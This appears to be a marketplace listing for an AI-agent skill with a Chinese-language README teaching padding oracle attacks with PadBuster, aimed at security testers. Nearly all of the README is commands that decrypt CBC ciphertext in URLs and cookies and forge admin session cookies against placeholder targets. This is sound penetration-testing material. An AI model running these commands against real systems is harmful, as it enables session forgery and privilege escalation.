mcpField
P
padbuster-padding-oracle

padbuster-padding-oracle

github.com/wgpsecSecurity1.8k42 installsUpdated 4d ago
Repository

About padbuster-padding-oracle

A security skill explaining how to use PadBuster for CBC padding oracle testing. It is aimed at security testers and covers automated decryption, ciphertext forgery, encoding options, and response-based error detection.

Key features

  1. 01Automatically decrypt CBC ciphertext
  2. 02Forge ciphertext for chosen plaintext
  3. 03Support multiple ciphertext encodings
  4. 04Customize error-response detection

Use cases

  1. 01Test CBC applications for padding oracle flaws
  2. 02Recover plaintext from URL parameters or cookies
  3. 03Check forged ciphertext for chosen plaintext

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/wgpsec/aboutsecurity --skill padbuster-padding-oracle

After installing, type/padbuster-padding-oraclein Claude Code to confirm it loaded.

Details

From the project README

PadBuster Padding Oracle 攻击方法论

PadBuster 是 Padding Oracle 攻击的自动化工具。核心能力：自动解密 CBC 密文 + 伪造任意明文的合法密文 + 支持多种编码。

项目地址：https://github.com/AonCyberLabs/PadBuster

漏洞原理

Padding Oracle 漏洞出现在使用 CBC 模式块加密（AES-CBC/DES-CBC）的应用中，当应用对 padding 错误和其他错误返回不同响应时，攻击者可逐字节还原明文或构造任意密文。

Phase 1: 解密模式

# 解密 URL 参数中的密文（Base64 编码，AES-128）
padbuster "http://target/api?token=ENCRYPTED_VALUE" "ENCRYPTED_VALUE" 16 -encoding 0

# 解密 Cookie 中的密文
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "auth=BASE64_CIPHER" -encoding 0

# Hex 编码的密文
padbuster "http://target/page?data=HEX_CIPHER" "HEX_CIPHER" 16 -encoding 1

# DES-CBC（块大小 8）
padbuster "http://target/page?token=ENC" "ENC" 8 -encoding 0

Phase 2: 加密模式（伪造密文）

# 伪造 Cookie 值（最危险的利用方式）
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "auth=BASE64_CIPHER" -encoding 0 \
  -plaintext "admin"

# 伪造 JSON 内容
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "session=BASE64_CIPHER" -encoding 0 \
  -plaintext '{"role":"admin","uid":1}'

Phase 3: 高级选项

# 自定义错误识别（当服务器不用 HTTP 状态码区分时）
padbuster "http://target/decrypt?data=ENC" "ENC" 16 \
  -encoding 0 -error "Invalid padding"

# URL 前缀（密文在 URL 路径中）
padbuster "http://target/api/ENCRYPTED/action" "ENCRYPTED" 16 \
  -encoding 0 -prefix "http://target/api/"

# 密文不含 IV
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -noiv

# 详细输出
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -veryverbose

# 恢复中断的攻击（已知 intermediate 值）
padbuster "http://target/?data=ENC" "ENC" 16 \
  -encoding 0 -intermediate "KNOWN_INTERMEDIATE_HEX"

编码对照表

编码值格式说明
0Base64最常见
1hex (小写)a-f 格式
2hex (大写)A-F 格式
3.NET UrlTokenASP.NET 特有
4WebSafe Base64URL 安全的 Base64

Comments

Markdown supported